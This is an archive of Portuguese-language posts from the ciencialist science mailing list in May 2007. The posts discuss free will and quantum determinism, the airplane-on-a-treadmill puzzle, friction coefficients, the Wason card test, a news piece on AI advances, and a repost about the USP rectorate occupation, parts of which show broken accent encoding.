> Chicão: O takata acabou de falar sobre fenomenos da
> MQ que
> > contrariam essa afirmação.
>
> Manuel: Não contraria. Qualquer evento
> quântico´"indeterminado" só
> ocorre porque "é possível", e, na MQ, o possível é
> determinado. Por
> isso que se diz que a MQ é determinística na medida
> em que
> determina "finamente" o que é possível e o que é
> impossível de
> acontecer, bem como o grau de probabilidade de cada
> uma das
> possibilidades.
>
> Abraços,
> Manuel Bulcão
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: (Para Joao) MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 13:12

--- Joao de Carvalho <joaobncarvalho@hotmail.com>
escreveu:
> Olá, Manuel.
>
> Antes de começar, uma pergunta: Você acredita no
> livre arbítrio?
>
> > Manuel: Se não existe acaso objetivo, o que
> significa dizer que o
> > futuro está determinado de antemão, então qual a
> explicação
> > psicofísica para o fenômeno da volição?
>
> Volição não existe. É uma ilusão causada pela mente.


E o que te faz acreditar seguramente na nolição ?


> > Ou seja, Se o futuro, tanto quanto o passado, já
> está determinado,
> > então por que *instintivamente* agimos como se ele
> não o estivesse?
>
> Talvez porque não tenhamos informações a respeito do
> futuro. Por que
> conhecemos o passado, mas não o futuro é uma questão
> que não creio
> que se saiba a resposta. Para a ciência moderna,
> causas de fenômenos
> só podem estar antes do fenômeno, e não depois.
> Assim, para
> estruturar o nosso raciocínio, só podemos levar em
> conta aquilo que
> está no passado.

Efeito antes da causa ??? Isso pode acontecer ??


> Mas creio que o instinto do livre arbítrio tem suas
> causas em alguma
> questão social (moral).

Se tudo é determinado então não faz sentido sermos
responsabilizados pelos nossos atos, pois já está tudo
"escrito". Pra que essas bobagens de nova ordem.....

> > E qual a explicação física para a sua existência?
> [do acaso]
>
> Como eu disse, não creio que o acaso exista, e se
> existe não é
> possível explicá-lo, pois, como já coloquei, o acaso
> é justamente
> aquilo que ocorre sem que haja uma explicação para
> ter ocorrido. Eu
> não consigo acreditar que tal coisa possa existir.

Interessante, algo que existe mas não pode ser
explicado. Algo cognoscível transcedente.


> > Toda lei física determina um comportamento padrão,
> geral. Ocorre
> que,
> > como frisou Hegel, "todas as coisas possuem
> aspectos que se repetem
> > em muitos outros fenômenos" - os aspectos
> `gerais', as qualidades-
> > padrão, traduzíveis em leis – "e aspectos
> que não se repetem nas
> > outras coisas". Esses últimos aspectos é o que
> define
> > a "singularidade" do evento, sua idiossincrasia.
>
> > O "singular" é algo que só acontece uma vez, razão
> pela qual foge
> ao
> > escopo da ciência, dado que a ciência só se ocupa
> com o geral, com
> o
> > universal, com os comportamentos padrões. No
> entanto, há quem pense
> > diferente.

Se ocorreu no mundo objetivo por que fugiria ao escopo
da ciencia ??


> A ciência se ocupa em entender as coisas. Se existe
> acaso, este não
> pode ser entendido, e foge ao escopo da ciência.
> Foge ao escopo de
> qualquer coisa, na verdade.

Desde que a "causa-incausada" se manifestou no mundo,
não vejo porque não estuda-la.

> Um
> fenômeno sem
> causa. Como é possível que tal coisa exista, se
> manifeste?

Uma coisa é nao ter causa, outra coisa é não
conhecermos sua causa. Pode a natureza ter
"causas-incausadas" ?
Se sim, então o mar que navegamos não é tão tranquilo
assim....



"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do aviã o - Não to entendendo nada
FROM: ricardos@infolink.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 14:22

> Ricardo escreveu: [ A medida da velocidade do avião *não pode ser feita em
> relação à esteira*. E ponto. ]
> ...............................................

> E por que não, Ricardo? O problema considera que há um dispositivo que
> sincroniza a velocidade do avião à da esteira, em sentidos contrários. Isso
> faz com que qualquer movimento *infinitesimal* do avião à frente, *em
> qualquer velocidade*, provoque um movimento igual na esteira em sentido
> contrário(para trás),

Ok, vamos tentar evitar a continuação deste claro problema de comunicação.

Este dispositivo que vc menciona, que coloca a velocidade da esteira com o mesmo módulo da
velocidade do avião, mas em sentido contrário, precisa de um mesmo referencial para medir ajustar as
velocidades. Se o referencial for o chão, enquanto o avião se desloca em velocidade v (ex: 200km/h)
a esteira se desloca com velocidade -v (ex: -200km/h), em relação ao chão. O avião pode decolar sem
problemas. Se o refencial estiver na esteira, ou no avião o problema não faz sentido.

> Quanta agressividade rapaz :)
> JR - Não há agressividade, Ricardo, apenas fiz um posicionamento assertivo
> da questão. Por favor, gostaria que relesse o que escrevi e apontasse o que
> lhe agrediu...

Agora vc está bem mais educado. Obrigado.

> O problema é que realmente é difícil me calar quando vejo que vc continua
> patinando nos mesmos erros (viu, não precisei nem ser agressivo para falar
> isso).
> JR - Sou eu quem está *patinando nos mesmos erro* ou vc que não está
> conseguindo perceber os fundamentos das minhas explicações?

Eu vejo erros claros no seu raciocínio. Então, vamos entender os seus erros:

> > 1. Quando a medida da velocidade do avião for feita por GPS, está
> > considerando a terra-chão como referencial. Nesse caso o avião acelera e
> > levanta vôo com o *dobro da velocidade da esteira*, medida em relação à
> > terra-chão...
>
> Ok, concordamos.
> JR - "Concordamos", mas o avião está com o *dobro da velocidade* da esteira,
> o que não atende o enunciado do problema.

Com o GPS a velocidade do avião será medida em relação ao chão. Então a esteira deverá ter uma
velocidade de mesmo módulo e sentido contrário (em relação ao chão, é claro). O avião decola sem
problemas e o enunciado é atendido. Veja bem, o avião não está com o dobro da velocidade da esteira.
Ele tem a mesma velocidade da esteira em módulo, mas com sentido contrário, como solicitado no
problema.



> > 2. Se a medida da velocidade do avião for feita pela velocidade do ar
> > fluindo contra o avião, ele também alça vôo com uma velocidade
> > *em torno de dobro da velocidade da esteira*, a depender das
> > correntes de ar... Está considerando como referência a massa de
> > ar em movimento.
>

A questão é, se a velocidade do avião for medida em relação ao ar, a velocidade da esteira também
será medida em relação ao mesmo referencial. Apenas para tentar simplificar um pouco para vc, se não
houver vento, por exemplo, teremos o mesmo caso do referencial fixo no chão. Mas se houver vento o
resultado final não muda em nada. O avião decola, sem ferir o problema.


>
> > 3. Se a medida da velocidade do avião for feita em relação à esteira, se
> > deslocará sobre a esteira a mesma distância que a esteira se desloca para
> > trás com o avião, infinitesimalmente, quando o avião acelera os
> > motores-turbinas, conforme um sistema que mantém a esteira com a *mesma
> > velocidade do avião* em sentido contrário. Nesse caso o avião permanece
> > praticamente parado em relação à massa de ar, não terá sustentação para
> > alçar vôo...


> A medida da velocidade do avião *não pode ser feita em relação à esteira*. E
> ponto. Não faz nenhum sentido o enunciado falar de duas velocidades (do
> avião e da esteira) se não estiver falando de um único referencial para o
> problema, a não ser que, em algum problema específico isto fosse
> especificado no enunciado. Por isso não podemos medir a velocidade do avião
> em relação à esteira. [ ... ]
> JR - Observe que é isso o que ocorre em qualquer decolagem! O avião acelera
> sobre a pista-Terra *que também está em movimento*, carregando o avião,
> enquanto ele estiver em contato com a pista-Terra... Só que o movimento da
> Terra não está *sincronizado* com o do avião, como define o enunciado do
> nosso problema.
> Veja a realidade... O avião se desloca sobre a esteira e a esteira sob o
> avião...
> A distância percorrida pelo avião enquanto está em contato com a
> esteira-pista
> é a mesma percorrida pela esteira, em sentido contrário. Isso significa que
> por
> mais que o avião acelere rolando sobre a esteira ele praticamente não sai do
> lugar em relação à massa de ar que o rodeia... Logo, não há sustentação para
> que ele alce vôo... Qualquer que seja sua velocidade, que é "anulada" em
> relação ao ar e ao chão, pelo movimento da esteira em sentido contrário.

A única forma de vc entender o seu erro aqui, pelo jeito, é responder antes a pergunta: qual é o
referencial do seu problema? Se você escolheu 2 refenciais diferentes para medir suas velocidades
(um para cada velocidade), isso não faz nenhum sentido. Primeiro responda: qual o refencial do seu
problema (a-chão, b-esteira, c-vento, d-outro/especificar qual). A partir daí continuamos, ok?


> Isso é a realidade, o resto é diversionismo, medo, desfaçatez, presunção,
> tolice, infantilidade, "esperteza" ou preguiça que impedem de raciocinar
> com liberdade e lucidez... E até fugir do problema para não se expor.
>

E lá vem mais agressividade. Já pensou em fazer Yoga?

> > Por favor, não esqueça de raciocinar um pouco antes de qualquer coisa...
>
> Vou tentar lembrar disso...
> JR - Não tenha pressa nessa etapa. O entrelaçamento dos movimentos e seus
> referencias precisam ser assimilados com tranqüilidade e clareza.
>

Realmente é preciso muita paciência, para prosseguir nesta discussão com vc.

Abs,

Ricardo


SUBJECT: Porque Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: y <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 15:39

POR QUE RACIOCINAR? - por Ferrari
(sobre desejo, raciocinio e ação)

http://egogame.blogspot.com

Por que raciocinar? Por que agir? Não é mais fácil e
econômico ficar inerte? Pensar e agir é inevitável
porque é uma conseqüência de algo anterior a ambos: o
desejo. Uma vez que exista desejo, pensar e agir é
sempre inevitável. Quando estamos apaixonados, por
exemplo, não conseguimos parar de pensar na pessoa
amada (objeto de desejo). Pensamos e fazemos dezenas
de coisas para alcançar a conquista. Por que agimos
assim? O que o cérebro está fazendo? Está buscando
satisfazer o desejo. A pessoa amada é o objeto que
trará prazer. O cérebro raciocina e põe o corpo em
ação porque está buscando fazer o que foi programado
de fábrica para fazer: satisfazer desejos.

Por outro lado, nunca pensamos nos dentes, mas quando
eles doem, não conseguimos pensar em outra coisa, não
é mesmo? Nestes dias de dor, fazemos qualquer coisa
para irmos ao dentista que tanto evitamos o resto do
ano. Por que agimos assim? O que o cérebro está
fazendo? Está buscando sanar algo indesejável
(insatisfatório). A dor de dentes tem que acabar.
Igualmente ao exemplo anterior, o cérebro raciocina e
põe o corpo em ação porque está buscando fazer o que
foi programado de fábrica para fazer: satisfazer
desejos.

Enfim, se fosse possível, assim como na história da
Lâmpada de Aladim, desejar e já ter o desejo
mágicamente realizado, o cérebro não precisaria
raciocinar, nem o corpo precisaria agir. Mas como não
é, raciocinar e agir é inevitável para chegar a
satisfação.


- - - - - - -


MAIS SOBRE O EGO? TEM AQUI:
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EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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MEU PORTAL:
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SUBJECT: Avanços da inteligência artificial
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 15:57

Conheça os avanços da inteligência artificial

Conceitos se espalham por produtos comuns

GUSTAVO VILLAS BOAS
COLABORAÇÃO PARA A FOLHA

Não é só em filme que você já entrou em contato com a inteligência
artificial (IA). Se em séries como "Matrix" e "O Exterminador do
Futuro" as máquinas têm consciência própria, tomam decisões e até se
rebelam contra o homem, no dia-a-dia os frutos das pesquisas em torno
da IA são mais simples e amistosos.

Os conceitos desse campo de pesquisa estão, por exemplo, nos
buscadores e aplicações na internet que usam os hábitos dos usuários
para personalizar e aperfeiçoar os resultados (vide Google e Last.fm).
Ou seja, aprendem e se adaptam.

Mas a nova geração da internet, a web 3.0 ou web semântica, é ainda
mais inteligente. Nela, linguagens padronizadas traduzem o contexto
das páginas da rede para os softwares.

Assim, uma aplicação educacional seria capaz de, sozinha, reconhecer
em sites diferentes e outros depósitos de informação onde estão dados
como a população do Brasil, o PIB e a porcentagem de pessoas
alfabetizadas. O software poderia cruzar as informações para apontar o
PIB médio dos analfabetos do país.

Porém hoje existem mudanças mais visíveis oriundas das pesquisas em IA
-e no cotidiano de pessoas comuns. Por exemplo: o sistema de
reconhecimento de fala usado por celulares e os videogames com
inimigos cada vez mais espertos.

Os carros modernos também são agraciados com toques de inteligência
artificial; sistemas que se adaptam ao jeito de dirigir do motorista
ou que controlam a mistura de combustível são frutos de pesquisas
nessa área.

Mas os veículos podem ser ainda mais inteligentes: um desafio chamado
Grand Challenge vai premiar carros dirigidos apenas pelo computador de
bordo. Eles devem atravessar um percurso urbano de 96 km seguindo as
leis de trânsito da Califórnia (EUA) em novembro deste ano.
O evento é organizado pela Darpa, uma agência do governo
norte-americano de pesquisas militares -e berço da internet.

Os robôs, tão presentes no imaginário, não estão esquecidos por
pesquisas reais. Na semana passada, a "New Scientist" divulgou que um
deles cruzou a barreira simbólica e real do auto-reconhecimento. Nico,
desenvolvido na Universidade Yale (EUA), percebeu, em um espelho, seu
próprio braço se movendo. O objetivo é desenvolver uma máquina que
aprenda socialmente, não apenas de forma programada.

Também na semana passada, pela primeira vez mais máquinas reais do que
ficcionais entraram no Hall da Fama dos Robôs, organizado pela
Universidade Carnegie Mellon, dos EUA. Uma mostra de que o real, nessa
área, começa a se equiparar com a ficção.

No Brasil, muitas das pesquisas em IA poderão ser vistas no começo de
julho, quando acontece o sexto Encontro Nacional de Inteligência
Artificial (Enia), promovido pela Sociedade Brasileira de Computação,
no Rio de Janeiro.

http://www1.folha.uol.com.br/fsp/informat/fr2305200701.htm



SUBJECT: Re: Fw: Ajuda (coeficiente de atrito)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 16:08

Talvez ele queira fazer uma tabela com os coeficientes médios de
atrito dos materiais calculados estatisticamente a partir de dados
experimentais.

Mas melhor perguntar para o gajo.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> o que é uma "construção estatística de uma tabela com estes
> coeficientes "? (texto abaixo).
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Marcos Amarante Garcia Júnior Amarante
> Assunto: Ajuda (coeficiente de atrito)
>
> Estou formando em Física pelo Centro Universitário de
> Formiga, e estou escrevendo minha monografia sobre coeficiente de
> atrito, mais especificamente na construção estatística de uma tabela
> com estes coeficientes e gostaria que o senhor, pudesse me ajudar,
> me enviando mais referenciais teóricos a respeito do assunto. A
> maneira como calcular a inclinação das dunas foi de ótima
> ajuda.Obrigado pela atenção!



SUBJECT: Re: Teste seu ceticismo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 16:26

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> A questão é: *quais cartas você precisa virar para descobrir se a
> alegação é verdadeira ou falsa?*

Mas não é um teste de ceticismo... No máximo de raciocínio lógico.
Bem, pode ser um teste de ceticismo se considerarmos cético o q virar
*todas* as cartas.

Isso porq a resposta padrão seria virar a primeira e a última cartas.
Se der impar na primeira, a alegação de q atrás de uma vogal tem
numero par é falseada; se der vogal na última tb. Na segunda carta tto
faria se desse par ou ímpar já q não se fala q o número par ocorre
somente atrás de uma vogal; de modo similar se der vogal ou consoante
na terceira.

Porém, isso *se* a informação de q todas as cartas possuem uma letra e
um número em cada lado for correta. Um cético verdadeiro testaria *tb*
essa afirmação. Nesse caso, se houver uma letra atrás da segunda ou um
número atrás da terceira cartas, teríamos o falseamento da afirmação.

Um cético investigaria tb as afirmação sobre o grau de acertos - q
estudantes? o estudo foi publicado? onde? foi feito controle? q
congresso cético?

E também voltaria em três dias para conferir se a resposta foi mesmo
publicada.

[]s,

Roberto Takata



SUBJECT: Crise na USP
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 17:24

Eu nao sabia do papel do decreto do Governo de S�o Paulo na Crise (na tv o
noticiario � t�o vago quanto sempre s�o os de "invas�es").
Esse decreto j� tinha sido comentado aqui!

Gil


===========================

A crise na USP a descoberto
Postado por Luiz Weis em 23/5/2007 �s 9:35:54 AM



D� vontade de ocupar as reda��es da Folha e do Estado em protesto contra a
lastim�vel cobertura da crise aberta nas universidades p�blicas paulistas,
em especial na USP, pelo decreto do governador Jos� Serra de 1� de janeiro,
que "organiza a secretaria de Ensino Superior e d� provid�ncias correlatas".

Noticia-se o ostensivo - a ocupa��o da reitoria da USP, a decis�o judicial
de reintegra��o de posse do im�vel, as fracassadas negocia��es entre a
reitora Suely Vilela e os ocupantes, os preparativos da PM para a eventual
retomada das instala��es invadidas.

�s vezes, ainda no departamento do vis�vel e tang�vel, aparecem mat�rias de
qualidade, como a da rep�rter Laura Capriglione, na Folha de hoje, sobre a
vida na reitoria ocupada e os protagonistas do fato.

O t�tulo e o sub s�o um irresist�vel convite � leitura. "25 anos depois,
estudante leva a m�e para a invas�o" e "Novo movimento estudantil � bem
diferente daquele da invas�o da reitoria da USP em 82".

O texto cont�m uma preciosidade sobre a invas�o propriamente dita.
Principais trechos:

"Esse novo movimento estudantil apareceu h� 20 dias, quando 120 alunos
dirigiram-se � reitoria para entregar um documento com reivindica��es. Como
n�o encontraram a reitora, que estava viajando, resolveram invadir o local -
assim, meio na louca. E a coisa come�ou a crescer, sem controle e sem
interlocutores."

Muito bem, palmas. Mas algum jornalista foi checar se � verdade que o
governador Serra teria dito aos reitores da USP, Unesp e Unicamp que assinou
"sem ler" o decreto da disc�rdia?

Algum jornalista foi checar se � verdade que, numa reuni�o com os diretores
das faculdades da USP, a reitora levou um sab�o por sua atitude tida como
complacente diante da situa��o que ali se criou?

Algum jornalista teve a pachorra de esmiu�ar o decreto serrista, chamado nos
bastidores de "Frankenstein", para contar ao desinformado leitor quais s�o
as tais "provid�ncias correlatas" nele embutidas?

Algum jornalista foi apurar no governo se � verdadeiro o rumor de que a
sa�da do titular da desastrada secretaria de Ensino Superior, Jos�
Aristodemo Pinotti, � uma quest�o de tempo? Ou se � verdadeiro que a pr�pria
secretaria poder� ser extinta, depois de um per�odo necess�rio para o
governador salvar a face?

Algum jornalista se dignou ouvir quem de direito para explicar por que se
achava que o decreto - aten��o, decreto, no singular, e n�o "decretos", como
se ouve e l� por a� - feria a autonomia universit�ria e por que os tr�s
reitores conclu�ram que ela est� ilesa?

Algum jornalista tentou tomar o pulso do professorado uspiano para "sentir o
clima" e dar ao p�blico pagante uma vis�o mais matizada do que se pensa na
institui��o?

Paro por aqui para abrir espa�o a um texto que me parece o mais judicioso
sobre a encrenca no c�mpus. � longo, academicoso, mas pega no nervo da
crise. O seu autor � o professor de sociologia S�rgio Adorno. Chama-se "A
USP e a desobedi�ncia civil". L� vai:

"Venho, como cada um de n�s, acompanhando com enorme apreens�o os rumos dos
acontecimentos desde a ocupa��o do pr�dio da Reitoria da USP. N�o quero
entrar na discuss�o a respeito do m�rito das reivindica��es estudantis. Como
todos n�s, persisto acreditando na autonomia universit�ria, antes de tudo da
pesquisa e do ensino, com apoio na autonomia administrativa e or�ament�ria.

Igualmente, reconhe�o princ�pios de justi�a em movimentos que cuidam
defender a pertin�ncia do ensino p�blico assim como lutam pela melhoria das
condi��es que permitam a realiza��o das atividades-fim (ensino, pesquisa e
extens�o) e das atividades-meio (gest�o administrativa) com vistas �
forma��o de profissionais e pesquisadores capazes de responder aos desafios
postos por uma sociedade cada vez mais sequiosa por justi�a social.

O que me parece estar em discuss�o n�o s�o os fins do movimento, mas seus
meios. Pessoalmente, como pesquisador que venho h� anos estudando viol�ncia
e a viola��o de direitos humanos, n�o posso, sob qualquer hip�tese, deixar
de reconhecer que o ato de ocupa��o fez apelo � viol�ncia. Mesmo que a
atitude das autoridades universit�rias tenha sido arbitr�ria e violenta em
n�o atender prontamente os alunos � n�o as estou julgado, at� porque n�o
disponho de informa��es suficientes para faz�-lo �, um ato violento n�o
justifica outro. Por que entendo que a ocupa��o valeu-se de meios violentos?

Porque imp�e, pelo uso ou amea�a arbitr�rios do uso da for�a, barreiras ao
livre acesso daqueles(as) aos quais a comunidade universit�ria, pelo sim ou
pelo n�o, confiou o governo de nossas atividades. Impedi-los de assumir seus
postos, � impedi-los n�o apenas de responder por seus atos, inclusive o de
zelar pelo cumprimento das leis e regulamentos que nos regem, como tamb�m o
de poder negociar conflitos.

Nunca � demais lembrar, o uso arbitr�rio da viol�ncia imp�e o sil�ncio, o
mais insidioso dos arb�trios porque impossibilita o outro de expressar-se,
vale dizer de pensar criticamente e agir com sabedoria pol�tica.

N�o � de se esperar que, em um espa�o social e institucional onde viceja,
por excel�ncia, a ci�ncia � como � a universidade � a viol�ncia seja recurso
de press�o e imposi��o da vontade de uns contra a vontade de outros, contra
o recurso � persuas�o e ao convencimento pela palavra, atributos da raz�o.

No decorrer dos acontecimentos, sei que foram feitos esfor�os para uma sa�da
do impasse. At� onde tenho acompanhado, as autoridades universit�rias est�o
tendentes a negociar e a atender parte das reivindica��es, desde que o
pr�dio seja desocupado.

Por sua vez, os alunos � cuja representatividade pol�tica n�o me parece
claramente definida haja visto o documento ap�crifo publicizando as
reivindica��es logo no in�cio do movimento (afinal, o DCE assumiu a
lideran�a do movimento?) �, n�o parecem dispostos a aceitar a exig�ncia da
Reitoria, pretendendo inclusive explicita��o de sua posi��o face aos
decretos governamentais, o que parece ter sido atendido com o documento
subscrito pelos tr�s reitores das universidades estaduais, divulgado pela
m�dia impressa e eletr�nica no final da semana passada e inserido no site da
USP.

Diante do prosseguimento do impasse, � Reitoria pareceu n�o restar outra
solu��o que n�o fosse recorrer � justi�a para recuperar a posse do pr�dio.
Se n�o o fizesse, poderia ser judicialmente interpelada, inclusive pelo
Minist�rio P�blico, por improbidade administrativa.

Decis�o judicial determinou a reintegra��o. Cabe, portanto, o cumprimento da
decis�o, como se espera no estado democr�tico de direito.

N�o sejamos ing�nuos, por�m: a execu��o da decis�o judicial implica recurso
ao poder coercitivo, cuja atribui��o � da compet�ncia legal da Pol�cia
Militar. Sabemos que, se houver resist�ncia dos alunos � e tudo indica que
possa haver � as conseq��ncias poder�o ser imprevis�veis, sobretudo para a
integridade f�sica de quem quer que seja e, no m�nimo, para a preserva��o do
patrim�nio p�blico e tudo o mais que esteja sob a guarda e tutela das
autoridades universit�rias, como documentos e registros oficiais.

N�o sem raz�o, a comunidade uspiana guarda em sua mem�ria as interven��es
violentas da pol�cia (civil e militar) durante a ditadura. Tem motivos para
desconfiar do apelo ao poder coercitivo mediante o uso � ainda que leg�timo
porque regulamentado no estado democr�tico de direito � da viol�ncia, mesmo
que seja para o cumprimento de decis�o judicial. Essa a raz�o pela qual foi
produzida a mo��o, por iniciativa de docentes da FFLCH, que refuta "qualquer
a��o violenta de desocupa��o do pr�dio".

Refleti sobre o documento e decidi n�o subscrev�-lo, porque creio que ele �
insatisfat�rio. Ele silencia sobre quest�o fundamental. Ao silenciar, hesita
sobre o papel das leis e do direito em sociedades democr�ticas.

De fato, tamb�m guardo profundas desconfian�as quanto ao recurso � pol�cia
militar. Igualmente receio que seu emprego possa produzir resultados
indesejados, mormente porque � os estudos que venho desenvolvendo assim o
indicam � n�o estou convencido de que a pol�cia militar possa exercer seu
papel � neste caso, o de cumprir decis�o judicial � sem apelo ao uso abusivo
da for�a f�sica.

E, se compararmos a experi�ncia internacional, por mais preparadas que as
for�as policiais sejam n�o � raro que interven��es em movimentos de protesto
coletivo resultem em feridos, quando n�o em mortos. Inclino-me tamb�m �
solu��o negociada.

O que a mo��o n�o diz � como a decis�o judicial vai ser cumprida sem o
recurso ao poder coercitivo, enquanto a resist�ncia � desocupa��o se
mantiver. Esse sil�ncio pode ser interpretado de v�rios modos.

Chamo a aten��o para apenas tr�s: primeiramente, a mo��o n�o aceita a
decis�o judicial. Bem, em tese, isso � leg�timo. Se � assim, por que n�o
prop�s, como seria esperado no estado democr�tico de direito, o recurso �
inst�ncia judicial superior para barrar os efeitos da decis�o? Assim, seria
suspenso o cumprimento da decis�o e as negocia��es correriam por conta do
livre jogo pol�tico.

Poder-se-ia argumentar que a intermedia��o judicial � morosa. Todavia, n�o
tem sido assim em casos de extrema urg�ncia pol�tica, que envolvem decis�es
que n�o podem ser postergadas, tanto assim que o pedido de reintegra��o de
posse mereceu resposta imediata. Eu confesso que me sentiria mais
confort�vel se poucas palavras tivessem sido ditas a respeito.

Alternativamente, a mo��o reconhece a decis�o judicial e indica por que
meios o poder coercitivo vai ser exercido j� que negocia��o e entendimento,
por sua pr�pria natureza, est�o exclu�dos dessa modalidade de poder.
Certamente, � preciso certa dose de imagina��o pol�tica para anunci�-los,
mas nunca � demais tentar essa sorte de "poder coercitivo alternativo".

Mais preocupante, no entanto, � que o sil�ncio � seja quais forem suas
raz�es � pode sugerir que a mo��o n�o reconhece legitimidade � intermedia��o
judicial. Neste caso, pode-se estar sugerindo que a Reitoria n�o deveria ter
ido bater � porta do poder judici�rio. Mas, se ela n�o fosse, estaria
deixando de cumprir leis que reclamam deveres e responsabilidades no trato
da coisa p�blica.

Em outras palavras, poder-se-ia estar dizendo que a negocia��o, em uma
sociedade democr�tica, prescinde de leis, de pactos, da resolu��o de
conflitos pelas vias institucionalmente reconhecidas como imperativas porque
leg�timas j� que legitimadas pelo processo pol�tico que as assim constituiu.

Se eu, em um exerc�cio algo arbitr�rio de aproxima��o, transpuser esse
racioc�nio para o dom�nio da viol�ncia urbana � com todo o cen�rio que
os(as) colegas bem conhecem e acompanham, se n�o atrav�s de estudos que
alcan�am os mais variados objetos ao menos atrav�s do notici�rio cotidiano �
serei levado a descrer nas leis, nas ag�ncias encarregadas de controle da
ordem p�blica e deslegitimar a justi�a criminal como o lugar onde � a
despeito de todas as cr�ticas que vimos acumulando nas duas �ltimas d�cadas
� � poss�vel enfrentar os problemas e lutar por resolv�-los, ou seja
encontrar sa�das no interior da ordem constitu�da e n�o en dehors.

Caso contr�rio, paradoxalmente, eu serei levado a atribuir a uma certa ordem
natural � o jogo de for�as que inclusive apelo para as armamentos cada vez
mais poderosos, a "guerra de todos contra todos" etc. � o lugar onde o
consenso pode ser conquistado (j� que estamos em guerra).

N�o h� solu��o para o problema da viol�ncia e do crime urbano que n�o passe
pela pol�cia e pela justi�a criminal; n�o h� solu��o, neste dom�nio, que
possa prescindir do uso da for�a e do poder coercitivo legitimamente
constitu�do, emprego esse utilizado por quem legalmente investido para tanto
e exercido de modo respons�vel, com respeito aos limites legais, com
presta��o de contas � sociedade civil e com a mais resoluta recusa �s formas
abusivas e excessivas de seu emprego.

N�o � o poder coercitivo que � ileg�timo ou moralmente reprov�vel por sua
pr�pria natureza; o que o torna ileg�timo � ou a ilegitimidade de quem o
emprega por n�o estar legalmente investido, ou a forma arbitr�ria ou
violenta de que se reveste.

Em suma, entendo que h� sim viol�ncia nos acontecimentos envolvendo a
ocupa��o do pr�dio da Reitoria porque os atores n�o est�o legalmente
investidos do direito de recurso � viol�ncia para solu��o de conflitos nas
rela��es sociais e institucionais.

Mais preocupante � constatar que o apelo � viol�ncia coloca a comunidade
universit�ria no mesmo espa�o jornal�stico destinado � viol�ncia urbana
cotidiana. Ao inv�s de comparecer ao caderno de cultura, destinado �
produ��o da obra de arte e da ci�ncia e tecnologia, pass�ssemos agora a
fazer figura��o no notici�rio policial.

Espero que este n�o seja o pren�ncio final de um projeto grandioso que
come�ou com uma elite pol�tica de vanguarda, vision�ria e capaz de pensar um
projeto de universidade d�cadas � frente � como foi o projeto de cria��o da
USP � e culmine tristemente numa grande reparti��o p�blica tocada por
"especialistas sem esp�rito, gozadores sem cora��o" (Weber).

No impasse da USP, n�o h� solu��o que n�o passe pela recusa � viol�ncia,
parta de onde vier. Mas, igualmente, n�o h� solu��o que passe pela suspens�o
das leis e das decis�es judiciais. N�o h� meia-democracia, sen�o seremos
levados a dizer que h� meia-ditadura.

Espero que a multiplica��o de atores, para al�m da universidade � classe
pol�tica, OAB e Minist�rio P�blico � possa ajudar a desfazer o n�. Est� nas
m�os dos alunos demonstrarem maturidade pol�tica neste delicado momento. A
desocupa��o do pr�dio � o melhor sinal na disposi��o para negociar.

N�o se trata aqui de contabilizar vit�rias e derrotas. Para os alunos, a
mobiliza��o da sociedade e sua encena��o no espa�o p�blico, inclusive
medi�tico, colocam em evid�ncia suas reivindica��es para al�m dos muros da
USP. Pressionam pela discuss�o de temas candentes como o das rela��es entre
o governo de estado e as universidades.

Contribuem, ainda que de modo torto, para a composi��o da agenda pol�tica.
Para as autoridades universit�rias, a dura li��o das ruas � a da urg�ncia
pol�tica, a do di�logo permanente, constante e mediado com todas as
lideran�as da universidade, sem o que epis�dios e acontecimentos como este
tender�o a se repetir com mais e maior freq��ncia.

Por fim, espero que:

1 � as negocia��es desta segunda-feira (21/05) cheguem a bom termo, o que
inclui a desocupa��o do pr�dio;

2 � seja restabelecida a lideran�a leg�tima do movimento estudantil;

3 � seja constitu�da uma comiss�o de alunos, professores e funcion�rios para
encaminhamento das demandas, mais propriamente relacionadas com as condi��es
de trabalho, de ensino e de pesquisa;

4 � seja constitu�da uma comiss�o, igualmente tripartite, para estudar com
maior densidade as iniciativas do governo estadual para que se possa
compreender seu alcance e extens�o, inclusive eventuais motiva��es latentes,
n�o manifestas;

5 � que se possa, mais � frente, mobilizar, ao menos a comunidade da USP,
para refletir sobre um projeto universit�rio para as pr�ximas d�cadas."

Em tempo: o decreto de Serra pode ser lido em
http://info.fazenda.sp.gov.br/NXT/gateway.dll
/legislacao_financeira/financ_estadual/Decreto%2051.461.htm<http://info.fazenda.sp.gov.br/NXT/gateway.dll/legislacao_financeira/financ_estadual/Decreto%2051.461.htm>

P.S. Para aliviar o clima:

Os jornais de ontem noticiaram que se descobriu que o ultra-respeitado
jornalista e escritor polon�s Riszard Kapuscinski, recentemente falecido aos
75 anos, foi informante dos servi�os secretos da ditadura em seu pa�s entre
1967 e 1972. A informa��o apareceu primeiro na revista Newsweek. Sabem como
o redator da Folha chamou a publica��o? "Not�cias da Semana". Seria como se
a Newsweek, ao citar a Folha de S.Paulo, desse ao jornal o nome "The sheet
of S.Paulo".

***

Os coment�rios ser�o selecionados para publica��o. Ser�o desconsideradas as
mensagens ofensivas, an�nimas, que contenham termos de baixo cal�o, incitem
� viol�ncia e aquelas cujos autores n�o possam ser contatados por terem
fornecido e-mails falsos.



Coment�rios (17)
